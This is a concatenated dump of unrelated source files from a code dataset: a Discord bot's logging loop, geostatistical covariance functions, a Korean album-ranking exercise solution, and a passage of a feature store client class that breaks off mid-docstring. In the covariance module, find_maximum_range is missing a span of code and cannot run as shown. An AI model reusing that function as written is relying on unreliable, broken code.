@tasks.loop(seconds=1)\n async def update_next_users(self):\n for server in self.servers.values():\n try:\n await server.update_next_user()\n except Exception:\n await self.log(traceback.format_exc())\n\n @tasks.loop(seconds=3.0)\n async def logging(self):\n log = None\n async for g in self.db.logs.find().sort([(\"timestamp\", 1)]).limit(1):\n log = g\n\n if log is None:\n return\n\n if self.logchannel is None:\n self.logchannel = await self.fetch_channel(710829103003205764)\n\n e = discord.Embed(color=discord.Color.darker_grey(), description=str(log['log'])[:1800],\n timestamp=log['timestamp'])\n await self.logchannel.send(embed=e)\n await self.db.logs.delete_many({'_id': log['_id']})\n\n def run(self):\n super().run(self.settings['discord_token'])\n\n\nHypixelPlus().run()\n","repo_name":"olifog/HypixelPlus","sub_path":"core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":5871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"4627976030","text":"#-------------------------------------------------------------------------------\r\n# Name: Covariance functions\r\n#\r\n# Author: Dr.-Ing. S. Hoerning\r\n#\r\n# Created: 10.01.2019, The University of Queensland, Brisbane, QLD, Australia\r\n# Copyright: (c) Hoerning 2019\r\n#-------------------------------------------------------------------------------\r\nimport numpy as np\r\nimport scipy.special\r\nimport warnings\r\n\r\n\r\ndef Covariogram_return_func(model='1.0 Exp(1.0)'):\r\n '''\r\n returns the function for later assignment of h!\r\n '''\r\n covfun = lambda h: Nested_Cov(h, model=model)\r\n return covfun\r\n\r\ndef Covariogram(h, model='1.0 Exp(1.0)'):\r\n C = Nested_Cov(h, model=model)\r\n return C\r\n\r\n# this function can handle nested covariance functions\r\ndef Nested_Cov(h, model='1.0 Exp(1.0)'):\r\n '''\r\n h... distance vector\r\n model...gstat like string\r\n *possible models:\r\n Hol = Hole-effect (Exponential times cosinus)\r\n Mat = Matern\r\n Exp = Exponential\r\n Sph = Spherical\r\n Gau = Gaussian\r\n Lin = Linear\r\n Nug = Nugget\r\n Pow = Power-law\r\n Cau = Cauchy\r\n e.g.: '1.0 Exp(3.7) + 1.9 Mat(2.2)^0.5 + 0.3 Nug(666)'\r\n *the matern and hole model require an additional parameter:\r\n 'sill Mat(range)^parameter'\r\n *the nugget model requires a range also, but it is not taken into account!\r\n 'sill Nug(0)'\r\n *every other model:\r\n 'sill Typ(range)''\r\n *superposition is possiblewith ' + '\r\n '''\r\n h = np.atleast_1d(np.array(h).astype(float))\r\n\r\n # check models\r\n models = model.split('+')\r\n models = np.array(models)\r\n\r\n # go through models:\r\n C = np.zeros(h.shape)\r\n for submodel in models:\r\n submodel = submodel.strip()\r\n Sill = submodel.split('(')[0].strip()[:-3].strip()\r\n Range = submodel.split('(')[1].split(')')[0]\r\n Type = submodel.split('(')[0].strip()[-3:]\r\n\r\n Sill = np.array(Sill).astype('float')\r\n if Sill <= 0:\r\n Sill = np.array((0.0))\r\n\r\n Range = np.abs(np.array(Range).astype('float'))\r\n if Range <= 0:\r\n Range = np.array((0.0))\r\n\r\n Type = np.array(Type)\r\n\r\n # calculate covariance:\r\n if Type == 'Mat':\r\n Param = submodel.split('^')[1].strip()\r\n Param = np.array(Param).astype('float')\r\n c0 = C[np.where(h==0)]\r\n C += type_mat(h, v=Param, Range=Range, Sill=Sill)\r\n C[np.where(h==0)] = c0 + Sill\r\n elif Type == 'Hol':\r\n C += type_hol(h, Range=Range, Sill=Sill)\r\n elif Type == 'Exp':\r\n C += type_exp(h, Range=Range, Sill=Sill)\r\n elif Type == 'Sph':\r\n C += type_sph(h, Range=Range, Sill=Sill)\r\n elif Type == 'Gau':\r\n C += type_gau(h, Range=Range, Sill=Sill)\r\n elif Type == 'Lin':\r\n C += type_lin(h, Range=Range, Sill=Sill)\r\n elif Type == 'Nug':\r\n C[np.where(h==0)] += Sill\r\n elif Type == 'Pow':\r\n c0 = C[np.where(h==0)]\r\n C += type_power(h, Range=Range, Sill=Sill)\r\n C[np.where(h==0)] = c0 + Sill\r\n elif Type == 'Cau':\r\n alpha = submodel.split('^')[1].strip()\r\n alpha = np.array(alpha).astype('float')\r\n beta = submodel.split('^')[2].strip()\r\n beta = np.array(beta).astype('float')\r\n C += type_cauchy( h,\r\n Range=Range,\r\n Sill=Sill,\r\n alpha=alpha,\r\n beta=beta)\r\n\r\n return C\r\n\r\n# Hole effect\r\ndef type_hol(h, Range=1.0, Sill=1.0):\r\n h = np.array(h)\r\n C = np.ones(h.shape)*Sill\r\n ix = np.where(h>0)\r\n C[ix] = Sill*(np.sin(np.pi*h[ix]/Range)/(np.pi*h[ix]/Range))\r\n return C\r\n\r\n# Exponential\r\ndef type_exp(h, Range=1.0, Sill=1.0):\r\n h = np.array(h)\r\n return Sill * (np.exp(-h/Range))\r\n\r\n# Spherical\r\ndef type_sph(h, Range=1.0, Sill=1.0):\r\n h = np.array(h)\r\n return np.where(h>Range, 0,\r\n Sill * (1 - 1.5*h/Range + h**3/(2*Range**3)))\r\n\r\n# Gaussian\r\ndef type_gau(h, Range=1.0, Sill=1.0):\r\n h = np.array(h)\r\n return Sill * np.exp(-h**2/Range**2)\r\n\r\n# Linear\r\ndef type_lin(h, Range=1.0, Sill=1.0):\r\n h = np.array(h)\r\n return np.where(h>Range, 0, Sill * (-h/Range + 1))\r\n\r\n# Matern\r\ndef type_mat(h, v=0.5, Range=1.0, Sill=1.0):\r\n '''\r\n Matern Covariance Function Family:\r\n v = 0.5 --> Exponential Model\r\n v = inf --> Gaussian Model\r\n '''\r\n h = np.array(h)\r\n\r\n # for v > 100 shit happens --> use Gaussian model\r\n if v > 100:\r\n c = type_gau(h, Range=1.0, Sill=1.0)\r\n else:\r\n # modified bessel function of second kind of order v\r\n Kv = scipy.special.kv \r\n # Gamma function \r\n Tau = scipy.special.gamma \r\n\r\n fac1 = h / Range * 2.0*np.sqrt(v)\r\n fac2 = (Tau(v)*2.0**(v-1.0))\r\n\r\n # that would usually trigger a RuntimeWarning because for h=0\r\n # there will be nan-values which are replaced later on\r\n # but the warnings.catch_warnings prevents printing\r\n # the warning\r\n with warnings.catch_warnings():\r\n warnings.simplefilter(\"ignore\") \r\n c = Sill * 1.0 / fac2 * fac1**v * Kv(v, fac1)\r\n\r\n # set nan-values at h=0 to sill\r\n c[np.where(h==0)]=Sill\r\n\r\n return c\r\n\r\n# Power\r\ndef type_power(h, Range=1.0, Sill=1.0):\r\n h = np.array(h)\r\n return Sill - h**Range\r\n\r\n# Cauchy\r\ndef type_cauchy(h, Range=1., Sill=1., alpha=1., beta=1.0):\r\n \"\"\"\r\n alpha >0 & <=2 ... shape parameter\r\n beta >0 ... parameterizes long term memory\r\n \"\"\"\r\n h = np.array(h).astype('float')\r\n return Sill*(1 + (h/Range)**alpha)**(-beta/alpha)\r\n\r\n\r\ndef find_maximum_range(model='1.0 Exp(1.0)', rho_thresh=0.03):\r\n '''\r\n returns range of the model where correlation is rho_thresh\r\n '''\r\n # check models\r\n models = model.split('+')\r\n models = np.array(models)\r\n # go through models:\r\n maxrange = 0\r\n for submodel in models:\r\n submodel = submodel.strip()\r\n Range = submodel.split('(')[1].split(')')[0]\r\n Range = float(Range)\r\n if maxrange rho_thresh:\r\n integralscale += maxrange/10.0\r\n correlation = Nested_Cov(integralscale, model=model)\r\n integralscale = max(maxrange*3, integralscale)\r\n integralscale = min(maxrange*100, integralscale)\r\n return integralscale\r\n\r\n\r\n\r\n","repo_name":"SebastianHoerning/RMWSPy","sub_path":"rmwspy/covariancefunction.py","file_name":"covariancefunction.py","file_ext":"py","file_size_in_byte":6732,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"23"} +{"seq_id":"70341576700","text":"def solution(genres, plays):\n answer,result = [],[]\n totalDict = {}\n \n for i in range(len(genres)):\n answer.append((i, genres[i], plays[i]))\n answer.sort(reverse=True, key = lambda x : (x[1], x[2], -x[0]))\n \n print(answer)\n #장르 구분을 어떤 기준으로 해줘야 할지?\n #리스트를 돌면서 장르별로 전체 재생 횟수를 구해주고, 재생횟수를 기준으로 내림차순 정렬한다.\n \n for val, genre, play in answer:\n totalDict[genre] = totalDict.get(genre, 0) + play\n \n totalList = sorted(totalDict.items(),reverse=True,key=lambda x: x[1])\n print(totalList)\n \n for key,val in totalList:\n cnt = 0\n for val in answer:\n if val[1] == key:\n cnt+=1\n if cnt > 2:\n break\n else:\n result.append(val[0]) \n return result","repo_name":"cmkxak/algorithms","sub_path":"프로그래머스/lv3/42579. 베스트앨범/베스트앨범.py","file_name":"베스트앨범.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"800089714","text":"from sys import stderr\nfrom typing import List, Dict, Optional, Union, Any, Callable\nfrom datetime import datetime, date\nfrom inspect import getsource\n\nimport pandas as pd\nfrom pandas import DataFrame as PandasDF\nimport cloudpickle\nimport base64\n\nfrom pyspark.sql.dataframe import DataFrame as SparkDF\nfrom pyspark.ml import Pipeline\nfrom pyspark.ml.classification import RandomForestClassifier\nfrom pyspark.ml.regression import RandomForestRegressor\nfrom pyspark.ml.feature import StringIndexer, VectorAssembler\n\nfrom splicemachine import SpliceMachineException\nfrom splicemachine.features.utils.feature_utils import sql_to_datatype\nfrom splicemachine.spark import PySpliceContext, ExtPySpliceContext\nfrom splicemachine.features import Feature, FeatureSet\nfrom .training_set import TrainingSet\nfrom .utils import display\nfrom .utils.training_utils import ReturnType, _format_training_set_output\nfrom .pipelines import FeatureAggregation, AggWindow\nfrom .utils.http_utils import RequestType, make_request, _get_feature_store_url, Endpoints, _get_credentials, _get_token\nfrom .pipe import Pipe\nfrom .pipeline import Pipeline\n\nfrom .constants import PipeLanguage, SQL, FeatureType, PipeType\nfrom .training_view import TrainingView\nimport warnings\nfrom requests.auth import HTTPBasicAuth\n\n\nclass FeatureStore:\n def __init__(self, splice_ctx: PySpliceContext = None) -> None:\n self.splice_ctx = splice_ctx\n self.mlflow_ctx = None\n self.feature_sets = [] # Cache of newly created feature sets\n self._FS_URL = _get_feature_store_url()\n if not self._FS_URL: warnings.warn(\n \"Uh Oh! FS_URL variable was not found... you should call 'fs.set_feature_store_url()' before doing anything.\")\n self._auth = None\n self.__try_auto_login()\n\n def register_splice_context(self, splice_ctx: PySpliceContext) -> None:\n if not (isinstance(splice_ctx, PySpliceContext) or isinstance(splice_ctx, ExtPySpliceContext)):\n raise SpliceMachineException(f'Splice Context must be of type PySpliceContext or ExtPySpliceContext but is'\n f'of type {type(splice_ctx)}')\n self.splice_ctx = splice_ctx\n\n def get_feature_sets(self, feature_set_names: List[str] = None) -> List[FeatureSet]:\n \"\"\"\n Returns a list of available feature sets\n \n :param feature_set_names: A list of feature set names in the format '{schema_name}.{table_name}'. If none will return all FeatureSets\n :return: List[FeatureSet] the list of Feature Sets\n \"\"\"\n\n r = make_request(self._FS_URL, Endpoints.FEATURE_SETS, RequestType.GET, self._auth,\n {\"name\": feature_set_names} if feature_set_names else None)\n return [FeatureSet(**fs) for fs in r]\n\n def remove_training_view(self, name: str, version: Union[str, int] = 'latest'):\n \"\"\"\n This removes a training view if it is not being used by any currently deployed models.\n NOTE: Once this training view is removed, you will not be able to deploy any models that were trained using this\n view\n\n :param name: The view name\n :param version: The view version\n \"\"\"\n if isinstance(version, str) and version != 'latest':\n raise SpliceMachineException(\"Version parameter must be a number or 'latest'\")\n\n print(f\"Removing Training View {name}...\", end=' ')\n make_request(self._FS_URL, f'{Endpoints.TRAINING_VIEWS}/{name}', RequestType.DELETE, self._auth,\n params={'version': version})\n print('Done.')\n\n def get_summary(self) -> Dict[str, str]:\n \"\"\"\n This function returns a summary of the feature store including:\\n\n * Number of feature sets\n * Number of deployed feature sets\n * Number of features\n * Number of deployed features\n * Number of training sets\n * Number of training views\n * Number of associated models - this is a count of the MLManager.RUNS table where the `splice.model_name` tag is set and the `splice.feature_store.training_set` parameter is set\n * Number of active (deployed) models (that have used the feature store for training)\n * Number of pending feature sets - this will will require a new table `featurestore.pending_feature_set_deployments` and it will be a count of that\n \"\"\"\n\n r = make_request(self._FS_URL, Endpoints.SUMMARY, RequestType.GET, self._auth)\n return r\n\n def get_training_view(self, training_view: str, version: Union[int, str] = 'latest') -> TrainingView:\n \"\"\"\n Gets a training view by name\n\n :param training_view: Training view name\n :param version: Training view version\n :return: TrainingView\n \"\"\"\n if isinstance(version, str) and version != 'latest':\n raise SpliceMachineException(\"Version parameter must be a number or 'latest'\")\n\n r = make_request(self._FS_URL, f'{Endpoints.TRAINING_VIEWS}/{training_view}', RequestType.GET, self._auth,\n params={'version': version})\n return TrainingView(**r[0])\n\n def get_training_views(self, _filter: Dict[str, Union[int, str]] = None) -> List[TrainingView]:\n \"\"\"\n Returns a list of all available training views with an optional filter\n\n :param _filter: Dictionary container the filter keyword (label, description etc) and the value to filter on\n If None, will return all TrainingViews\n :return: List[TrainingView]\n \"\"\"\n\n r = make_request(self._FS_URL, Endpoints.TRAINING_VIEWS, RequestType.GET, self._auth)\n return [TrainingView(**tv) for tv in r]\n\n def get_training_view_id(self, name: str) -> int:\n \"\"\"\n Returns the unique view ID from a name\n\n :param name: The training view name\n :return: The training view id\n \"\"\"\n # return self.splice_ctx.df(SQL.get_training_view_id.format(name=name)).collect()[0][0]\n r = make_request(self._FS_URL, Endpoints.TRAINING_VIEW_ID, RequestType.GET, self._auth, {\"name\": name})\n return int(r)\n\n def get_features_by_name(self, names: Optional[List[str]] = None, as_list=False) -> Union[List[Feature], PandasDF]:\n \"\"\"\n Returns a dataframe or list of features whose names are provided\n\n :param names: The list of feature names\n :param as_list: Whether or not to return a list of features. Default False\n :return: SparkDF or List[Feature] The list of Feature objects or Spark Dataframe of features and their metadata. Note, this is not the Feature\n values, simply the describing metadata about the features. To create a training dataset with Feature values, see\n :py:meth:`features.FeatureStore.get_training_set` or :py:meth:`features.FeatureStore.get_feature_dataset`\n \"\"\"\n r = make_request(self._FS_URL, Endpoints.FEATURES, RequestType.GET, self._auth, {\"name\": names})\n return [Feature(**f) for f in r] if as_list else pd.DataFrame.from_dict(r)\n\n def training_view_exists(self, name: str) -> bool:\n \"\"\"\n Returns if a training view exists or not\n\n :param name: The training view name\n :return: bool True if the training view exists, False otherwise\n \"\"\"\n r = make_request(self._FS_URL, Endpoints.TRAINING_VIEW_EXISTS, RequestType.GET, self._auth,\n params={\"name\": name})\n return r\n\n def feature_exists(self, name: str) -> bool:\n \"\"\"\n Returns if a feature exists or not\n\n :param name: The feature name\n :return: bool True if the feature exists, False otherwise\n \"\"\"\n r = make_request(self._FS_URL, Endpoints.FEATURE_EXISTS, RequestType.GET, self._auth, params={\"name\": name})\n return r\n\n def feature_set_exists(self, schema: str, table: str) -> bool:\n \"\"\"\n Returns if a feature set exists or not\n\n :param schema: The feature set schema\n :param table: The feature set table\n :return: bool True if the feature exists, False otherwise\n \"\"\"\n r = make_request(self._FS_URL, Endpoints.FEATURE_SET_EXISTS, RequestType.GET, self._auth,\n params={\"schema\": schema, \"table\": table})\n return r\n\n def get_feature_details(self, name: str) -> Feature:\n \"\"\"\n Returns a Feature and it's detailed information\n\n :param name: The feature name\n :return: Feature\n \"\"\"\n r = make_request(self._FS_URL, Endpoints.FEATURE_DETAILS, RequestType.GET, self._auth, {\"name\": name})\n return Feature(**r)\n\n def get_feature_vector(self, features: List[Union[str, Feature]],\n join_key_values: Dict[str, str], return_primary_keys=True, return_sql=False) -> Union[\n str, PandasDF]:\n \"\"\"\n Gets a feature vector given a list of Features and primary key values for their corresponding Feature Sets\n\n :param features: List of str Feature names or Features\n :param join_key_values: (dict) join key values to get the proper Feature values formatted as {join_key_column_name: join_key_value}\n :param return_primary_keys: Whether to return the Feature Set primary keys in the vector. Default True\n :param return_sql: Whether to return the SQL needed to get the vector or the values themselves. Default False\n :return: Pandas Dataframe or str (SQL statement)\n \"\"\"\n features = [f if isinstance(f, str) else f.__dict__ for f in features]\n r = make_request(self._FS_URL, Endpoints.FEATURE_VECTOR, RequestType.POST, self._auth,\n params={\"pks\": return_primary_keys, \"sql\": return_sql},\n body={\"features\": features, \"join_key_values\": join_key_values})\n return r if return_sql else pd.DataFrame(r, index=[0])\n\n def get_feature_vector_sql_from_training_view(self, training_view: str, features: List[Union[str, Feature]]) -> str:\n \"\"\"\n Returns the parameterized feature retrieval SQL used for online model serving.\n\n :param training_view: (str) The name of the registered training view\n :param features: (List[str]) the list of features from the feature store to be included in the training\n\n :NOTE:\n .. code-block:: text\n\n This function will error if the view SQL is missing a view key required \\n\n to retrieve the desired features\n\n :return: (str) the parameterized feature vector SQL\n \"\"\"\n features = [f if isinstance(f, str) else f.__dict__ for f in features]\n r = make_request(self._FS_URL, Endpoints.FEATURE_VECTOR_SQL, RequestType.POST, self._auth,\n {\"view\": training_view}, features)\n return r\n\n def get_feature_primary_keys(self, features: List[str]) -> Dict[str, List[str]]:\n \"\"\"\n Returns a dictionary mapping each individual feature to its primary key(s). This function is not yet implemented.\n\n :param features: (List[str]) The list of features to get primary keys for\n :return: Dict[str, List[str]] A mapping of {feature name: [pk1, pk2, etc]}\n \"\"\"\n pass\n\n def get_training_view_features(self, training_view: str, version: Union[int, str] = 'latest') -> List[Feature]:\n \"\"\"\n Returns the available features for the given a training view name\n\n :param training_view: The name of the training view\n :param version: The version of the training view\n :return: A list of available Feature objects\n \"\"\"\n if isinstance(version, str) and version != 'latest':\n raise SpliceMachineException(\"Version parameter must be a number or 'latest'\")\n\n r = make_request(self._FS_URL, Endpoints.TRAINING_VIEW_FEATURES, RequestType.GET,\n self._auth, {\"view\": training_view, 'version': version})\n return [Feature(**f) for f in r]\n\n def get_feature_description(self):\n # TODO\n raise NotImplementedError\n\n def get_training_set(self, features: Union[List[Feature], List[str]], current_values_only: bool = False,\n start_time: datetime = None, end_time: datetime = None, label: str = None,\n return_pk_cols: bool = False,\n return_ts_col: bool = False, return_type: str = 'spark',\n return_sql: bool = False, save_as: str = None) -> SparkDF or str:\n \"\"\"\n Gets a set of feature values across feature sets that is not time dependent (ie for non time series clustering).\n This feature dataset will be treated and tracked implicitly the same way a training_dataset is tracked from\n :py:meth:`features.FeatureStore.get_training_set` . The dataset's metadata and features used will be tracked in mlflow automatically (see\n get_training_set for more details).\n\n :NOTE:\n .. code-block:: text\n\n The way point-in-time correctness is guaranteed here is by choosing one of the Feature Sets as the \"anchor\" dataset.\n This means that the points in time that the query is based off of will be the points in time in which the anchor\n Feature Set recorded changes. The anchor Feature Set is the Feature Set that contains the superset of all primary key\n columns across all Feature Sets from all Features provided. If more than 1 Feature Set has the superset of\n all Feature Sets, the Feature Set with the most primary keys is selected. If more than 1 Feature Set has the same\n maximum number of primary keys, the Feature Set is chosen by alphabetical order (schema_name, table_name).\n\n :param features: List of Features or strings of feature names\n\n :NOTE:\n .. code-block:: text\n\n The Features Sets which the list of Features come from must have common join keys,\n otherwise the function will fail. If there is no common join key, it is recommended to\n create a Training View to specify the join conditions.\n\n :param current_values_only: If you only want the most recent values of the features, set this to true. Otherwise, all history will be returned. Default False\n :param start_time: How far back in history you want Feature values. If not specified (and current_values_only is False), all history will be returned.\n This parameter only takes effect if current_values_only is False.\n :param end_time: The most recent values for each selected Feature. This will be the cutoff time, such that any Feature values that\n were updated after this point in time won't be selected. If not specified (and current_values_only is False),\n Feature values up to the moment in time you call the function (now) will be retrieved. This parameter\n only takes effect if current_values_only is False.\n :param label: An optional label to specify for the training set. If specified, the feature set of that feature\n will be used as the \"anchor\" feature set, meaning all point in time joins will be made to the timestamps of\n that feature set. This feature will also be recorded as a \"label\" feature for this particular training set\n (but not others in the future, unless this label is again specified).\n :param return_pk_cols: bool Whether or not the returned sql should include the primary key column(s)\n :param return_ts_cols: bool Whether or not the returned sql should include the timestamp column\n :param return_type: How the data should be returned. If not specified, a Spark DF will be returned.\n Available arguments are: 'spark', 'pandas', 'json', 'sql'\n sql will return the SQL necessary to generate the dataframe\n :param save_as: Whether or not to save this Training Set (metadata) in the feature store for reproducibility. This\n enables you to version and persist the metadata for a training set of a specific model development. If you are\n using the Splice Machine managed MLFlow Service, this will be fully automated and managed for you upon model deployment,\n however you can still use this parameter to customize the name of the training set (it will default to the run id).\n If you are NOT using Splice Machine's mlflow service, this is a useful way to link specific modeling experiments\n to the exact training sets used. This DOES NOT persist the training set itself, rather the metadata required\n to reproduce the identical training set.\n :return: Spark DF or SQL statement necessary to generate the Training Set\n \"\"\"\n\n # ~ Backwards Compatability ~\n if return_sql:\n print(\"Deprecated Parameter 'return_sql'. Use return_type='sql' \", file=stderr)\n return_type = 'sql'\n\n if return_type not in ReturnType.get_valid():\n raise SpliceMachineException(f'Return type must be one of {ReturnType.get_valid()}')\n\n features = [f if isinstance(f, str) else f.__dict__ for f in features]\n r = make_request(self._FS_URL, Endpoints.TRAINING_SETS, RequestType.POST, self._auth,\n params={\"current\": current_values_only, \"label\": label, \"pks\": return_pk_cols,\n \"ts\": return_ts_col,\n 'save_as': save_as, 'return_type': ReturnType.map_to_request(return_type)},\n body={\"features\": features, \"start_time\": start_time, \"end_time\": end_time})\n create_time = r['metadata']['training_set_create_ts']\n start_time = r['metadata']['training_set_start_ts']\n end_time = r['metadata']['training_set_end_ts']\n sql = r['sql']\n tvw = TrainingView(**r['training_view']) if r.get('training_view') else None\n features = [Feature(**f) for f in r['features']]\n\n if self.mlflow_ctx and return_type != 'sql':\n # These will only exist if the user called \"save_as\" otherwise they will be None\n training_set_id = r['metadata'].get('training_set_id')\n training_set_version = r['metadata'].get('training_set_version')\n self.link_training_set_to_mlflow(features, create_time, start_time, end_time, tvw,\n training_set_id=training_set_id,\n training_set_version=training_set_version, training_set_name=save_as)\n\n return _format_training_set_output(response=r, return_type=return_type, splice_ctx=self.splice_ctx)\n\n def get_training_set_by_name(self, name, version: int = None, return_pk_cols: bool = False,\n return_ts_col: bool = False, return_sql=False, return_type: str = 'spark'):\n \"\"\"\n Returns a Spark DF (or SQL) of an EXISTING Training Set (one that was saved with the save_as parameter in\n :py:meth:`~fs.get_training_set` or :py:meth:`~fs.get_training_set_from_view`. This is useful if you've deployed\n a model with a Training Set and\n\n :param name: Training Set name\n :param version: The version of this training set. If not set, it will grab the newest version\n :param return_pk_cols: bool Whether or not the returned sql should include the primary key column(s)\n :param return_ts_cols: bool Whether or not the returned sql should include the timestamp column\n :param return_sql: [DEPRECATED] (Optional[bool]) Return the SQL statement (str) instead of the Spark DF. Defaults False\n :param return_type: How the data should be returned. If not specified, a Spark DF will be returned.\n Available arguments are: 'spark', 'pandas', 'json', 'sql'\n sql will return the SQL necessary to generate the dataframe\n :return: Spark DF or SQL\n \"\"\"\n\n # ~ Backwards Compatability ~\n if return_sql:\n print(\"Deprecated Parameter 'return_sql'. Use return_type='sql' \", file=stderr)\n return_type = 'sql'\n\n if return_type not in ReturnType.get_valid():\n raise SpliceMachineException(f'Return type must be one of {ReturnType.get_valid()}')\n\n r = make_request(self._FS_URL, f'{Endpoints.TRAINING_SETS}/{name}', RequestType.GET, self._auth,\n params={\"version\": version, \"pks\": return_pk_cols, \"ts\": return_ts_col,\n 'return_type': ReturnType.map_to_request(return_type)})\n sql = r[\"sql\"]\n tvw = TrainingView(**r[\"training_view\"])\n features = [Feature(**f) for f in r[\"features\"]]\n create_time = r['metadata']['training_set_create_ts']\n start_time = r['metadata']['training_set_start_ts']\n end_time = r['metadata']['training_set_end_ts']\n # Link this to mlflow for reproducibility and model deployment\n if self.mlflow_ctx and not return_sql:\n # These will only exist if the user called \"save_as\" otherwise they will be None\n training_set_id = r['metadata'].get('training_set_id')\n self.link_training_set_to_mlflow(features, create_time, start_time, end_time, tvw,\n training_set_id=training_set_id,\n training_set_version=version, training_set_name=name)\n\n return _format_training_set_output(response=r, return_type=return_type, splice_ctx=self.splice_ctx)\n\n def get_training_set_from_view(self, training_view: str, features: Union[List[Feature], List[str]] = None,\n start_time: Optional[datetime] = None, end_time: Optional[datetime] = None,\n return_pk_cols: bool = False, return_ts_col: bool = False, return_sql: bool = False,\n return_type: str = 'spark', save_as: str = None) -> SparkDF or str:\n \"\"\"\n Returns the training set as a Spark Dataframe from a Training View. When a user calls this function (assuming they have registered\n the feature store with mlflow using :py:meth:`~mlflow.register_feature_store` )\n the training dataset's metadata will be tracked in mlflow automatically.\\n\n The following will be tracked:\\n\n * Training View\n * Selected features\n * Start time\n * End time\n\n This tracking will occur in the current run (if there is an active run)\n or in the next run that is started after calling this function (if no run is currently active).\n\n :param training_view: (str) The name of the registered training view\n :param features: (List[str] OR List[Feature]) the list of features from the feature store to be included in the training.\n If a list of strings is passed in it will be converted to a list of Feature. If not provided will return all available features.\n\n :NOTE:\n .. code-block:: text\n\n This function will error if the view SQL is missing a join key required to retrieve the\n desired features\n\n :param start_time: (Optional[datetime]) The start time of the query (how far back in the data to start). Default None\n\n :NOTE:\n .. code-block:: text\n\n If start_time is None, query will start from beginning of history\n\n :param end_time: (Optional[datetime]) The end time of the query (how far recent in the data to get). Default None\n\n :NOTE:\n .. code-block:: text\n\n If end_time is None, query will get most recently available data\n\n :param return_pk_cols: bool Whether or not the returned sql should include the primary key column(s)\n :param return_ts_cols: bool Whether or not the returned sql should include the timestamp column\n :param return_sql: [DEPRECATED] (Optional[bool]) Return the SQL statement (str) instead of the Spark DF. Defaults False\n :param return_type: How the data should be returned. If not specified, a Spark DF will be returned.\n Available arguments are: 'spark', 'pandas', 'json', 'sql'\n sql will return the SQL necessary to generate the dataframe\n :param save_as: Whether or not to save this Training Set (metadata) in the feature store for reproducibility. This\n enables you to version and persist the metadata for a training set of a specific model development. If you are\n using the Splice Machine managed MLFlow Service, this will be fully automated and managed for you upon model deployment,\n however you can still use this parameter to customize the name of the training set (it will default to the run id).\n If you are NOT using Splice Machine's mlflow service, this is a useful way to link specific modeling experiments\n to the exact training sets used. This DOES NOT persist the training set itself, rather the metadata required\n to reproduce the identical training set.\n :return: Optional[SparkDF, str] The Spark dataframe of the training set or the SQL that is used to generate it (for debugging)\n \"\"\"\n\n # ~ Backwards Compatability ~\n if return_sql:\n print(\"Deprecated Parameter 'return_sql'. Use return_type='sql' \", file=stderr)\n return_type = 'sql'\n\n if return_type not in ReturnType.get_valid():\n raise SpliceMachineException(f'Return type must be one of {ReturnType.get_valid()}')\n\n # Generate the SQL needed to create the dataset\n features = [f if isinstance(f, str) else f.__dict__ for f in features] if features else None\n r = make_request(self._FS_URL, Endpoints.TRAINING_SET_FROM_VIEW, RequestType.POST, self._auth,\n params={\"view\": training_view, \"pks\": return_pk_cols, \"ts\": return_ts_col,\n 'save_as': save_as, 'return_type': ReturnType.map_to_request(return_type)},\n body={\"features\": features, \"start_time\": start_time, \"end_time\": end_time},\n headers={\"Accept-Encoding\": \"gzip\"})\n sql = r[\"sql\"]\n tvw = TrainingView(**r[\"training_view\"])\n features = [Feature(**f) for f in r[\"features\"]]\n create_time = r['metadata']['training_set_create_ts']\n start_time = r['metadata']['training_set_start_ts']\n end_time = r['metadata']['training_set_end_ts']\n # Link this to mlflow for reproducibility and model deployment\n if self.mlflow_ctx and not return_sql:\n # These will only exist if the user called \"save_as\" otherwise they will be None\n training_set_id = r['metadata'].get('training_set_id')\n training_set_version = r['metadata'].get('training_set_version')\n self.link_training_set_to_mlflow(features, create_time, start_time, end_time, tvw,\n training_set_id=training_set_id,\n training_set_version=training_set_version, training_set_name=save_as)\n\n return _format_training_set_output(response=r, return_type=return_type, splice_ctx=self.splice_ctx)\n\n def list_training_sets(self) -> Dict[str, Optional[str]]:\n \"\"\"\n Returns a dictionary a training sets available, with the map name -> description. If there is no description,\n the value will be an emtpy string\n\n :return: Dict[str, Optional[str]]\n \"\"\"\n raise NotImplementedError(\"To see available training views, run fs.describe_training_views()\")\n\n def create_feature_set(self, schema_name: str, table_name: str, primary_keys: Dict[str, str],\n desc: Optional[str] = None, features: Optional[List[Feature]] = None) -> FeatureSet:\n \"\"\"\n Creates and returns a new feature set\n\n :param schema_name: The schema under which to create the feature set table\n :param table_name: The table name for this feature set\n :param primary_keys: The primary key column(s) of this feature set\n :param desc: The (optional) description\n :param features: An optional list of features. If provided, the Features will be created with the Feature Set\n :Example:\n .. code-block:: python\n\n from splicemachine.features import FeatureType, Feature\n f1 = Feature(\n name='my_first_feature',\n description='the first feature',\n feature_data_type='INT',\n feature_type=FeatureType.ordinal,\n tags=['good_feature','a new tag', 'ordinal'],\n attributes={'quality':'awesome'}\n )\n f2 = Feature(\n name='my_second_feature',\n description='the second feature',\n feature_data_type='FLOAT',\n feature_type=FeatureType.continuous,\n tags=['not_as_good_feature','a new tag'],\n attributes={'quality':'not as awesome'}\n )\n feats = [f1, f2]\n feature_set = fs.create_feature_set(\n schema_name='splice',\n table_name='foo',\n primary_keys={'MOMENT_KEY':\"INT\"},\n desc='test fset',\n features=feats\n )\n\n :return: FeatureSet\n \"\"\"\n # database stores object names in upper case\n schema_name = schema_name.upper()\n table_name = table_name.upper()\n\n features = [f.__dict__ for f in features] if features else None\n fset_dict = {\"schema_name\": schema_name,\n \"table_name\": table_name,\n \"primary_keys\": {pk: sql_to_datatype(primary_keys[pk]) for pk in primary_keys},\n \"description\": desc,\n \"features\": features}\n\n print(f'Registering feature set {schema_name}.{table_name} in Feature Store')\n if features:\n print(f'Registering {len(features)} features for {schema_name}.{table_name} in the Feature Store')\n r = make_request(self._FS_URL, Endpoints.FEATURE_SETS, RequestType.POST, self._auth, body=fset_dict)\n return FeatureSet(**r)\n\n def update_feature_set(self, schema_name: str, table_name: str, primary_keys: Dict[str, str],\n desc: Optional[str] = None, features: Optional[List[Feature]] = None) -> FeatureSet:\n \"\"\"\n Creates and returns a new version of an existing feature set. Use this method when you want to make changes\n to a deployed feature set.\n\n :param schema_name: The schema under which to create the feature set table\n :param table_name: The table name for this feature set\n :param 